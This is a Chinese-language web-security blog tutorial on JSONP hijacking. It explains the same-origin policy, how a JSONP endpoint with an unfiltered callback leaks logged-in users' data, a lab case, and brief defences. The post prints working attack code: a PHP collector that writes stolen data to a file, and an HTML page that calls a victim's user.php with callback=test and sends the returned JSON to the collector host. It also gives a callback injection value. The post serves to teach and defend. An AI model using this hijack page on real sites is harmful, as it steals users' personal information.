JSONP 漏洞

最新推荐文章于 2024-04-05 13:46:50 发布

乐队1

最新推荐文章于 2024-04-05 13:46:50 发布

阅读量669

点赞数 21

分类专栏： web安全文章标签： web安全

本文链接：https://blog.csdn.net/weixin_45653478/article/details/136916866

版权

web安全专栏收录该内容

70 篇文章 1 订阅

订阅专栏

1. JSONP 描述

Jsonp(JSON with Padding) 是 json 的一种"使用模式"，可以让网页从别的域名（网站）那获取资料，即跨域读取数据。

为什么我们从不同的域（网站）访问数据需要一个特殊的技术(JSONP )呢？这是因为同源策略，同源策略，它是由 Netscape 提出的一个著名的安全策略，现在所有支持 JavaScript 的浏览器都会使用这个策略。传入 callback 值会在结果里面直接返回。因此，如果该参数过滤不严格。可以随便输入：callback 值为：alert('1');parseResponse 字符串，返回结果会打印个 alert 窗口，然后也会正常执行。

攻击者模拟用户向有漏洞的服务器发送 JSONP 请求，然后就获取到了用户的某些信息，再将这些信息发送到攻击者可控的服务。

2. JSONP 原理

jSONP 的最基本的原理是：动态添加一个< script >标签，而 script 标签的 src 属性是没有跨域的限制的。由于同源策略的限制，XmlHttpRequest 只允许请求当前源(域名、协议、端口都相同)的资源，如果要进行跨域请求，我们可以通过使用 html 的 script 标记来进行跨域请求，并在响应中返回要执行的 script 代码，其中可以直接使用 JSON 传递 javascript 对象。

考虑这样一种情况，存在两个网站 A 和 B，用户在网站 B 上注册并且填写了自己的用户名，手机号，身份证号等信息，并且网站 B 存在一个 jsonp 接口，用户在访问网站 B 的时候。这个 jsonp 接口会返回用户的个人信息，并在网站 B 的 html 页面上进行显示。如果网站 B 对此 jsonp 接口的来源验证存在漏洞，那么当用户访问网站 A 时，网站 A 便可以利用此漏洞进行 JSONP 劫持来获取用户的信息。

3. jsonp 漏洞攻击方法

攻击方法与 csrf 类似，都是需要用户登录帐号，身份认证还没有被消除的情况下访问攻击者精心设计好的

的页面。就会获取 json 数据，把 json 数据发送给攻击者。寻找敏感 json 数据 api 接口，构造恶意的代码。

发送给用户，用户访问有恶意的页面，数据会被劫持发送到远程服务器。

4 jsonp 漏洞攻击案例

访问 json.html 会得到账号和手机号码等敏感信息

user.php 是 json 文件，存在用户的敏感信息

看到页面是没有任何防御，可以直接获取的。

分析代码 user.php 设置头响应是 json 文件，存在可控参数 callback

访问 json.html callback 设置为 jsonp2 会调用 jsonp2 函数会弹窗用户信息。

5 构造 jsonp 攻击代码

远程文件写入代码

<?php
if($_GET['file']){
file_put_contents('json.txt',$_GET['file']);
}
?>

jsonp 劫持代码

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
        <title></title>
        <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
<script>
function test(data){
    //alert(v.name);
    var xmlhttp = new XMLHttpRequest();
    var url = "http://127.0.0.1/1.php?file=" + JSON.stringify(data);
    xmlhttp.open("GET",url,true);
    xmlhttp.send();
    }
</script>
<script src="http://192.168.1.9/user.php?callback=test"></script>
</head>
    <body>
    </body>
</html>

当受害人登入网站之后访问这个页面时，会自动把接口 user.php 的敏感信息发送到远程服务器上，如果

获取到信息就会在远程服务器上生成 json.txt。

结果

6 jsonp防御

json 正确的 http 头输出尽量避免跨域的数据传输，对于同域的数据传输使用 xmlhttp 的方式作为数

据获取的方式，依赖于 javascript 在浏览器域里的安全性保护数据，如果是跨域的数据传输，必须要对敏

感的数据获取做权限认证。

乐队1

关注

21
点赞
踩
10

收藏

觉得还不错? 一键收藏
0
评论
JSONP 漏洞

Jsonp(JSON with Padding) 是 json 的一种"使用模式"，可以让网页从别的域名（网站）那获取资料，即跨域读取数据。为什么我们从不同的域（网站）访问数据需要一个特殊的技术(JSONP )呢？这是因为同源策略，同源策略，它是由 Netscape 提出的一个著名的安全策略，现在所有支持 JavaScript 的浏览器都会使用这个策略。传入 callback 值会在结果里面直接返回。因此，如果该参数过滤不严格。可以随便输入：callback 值为：alert('1');
复制链接

扫一扫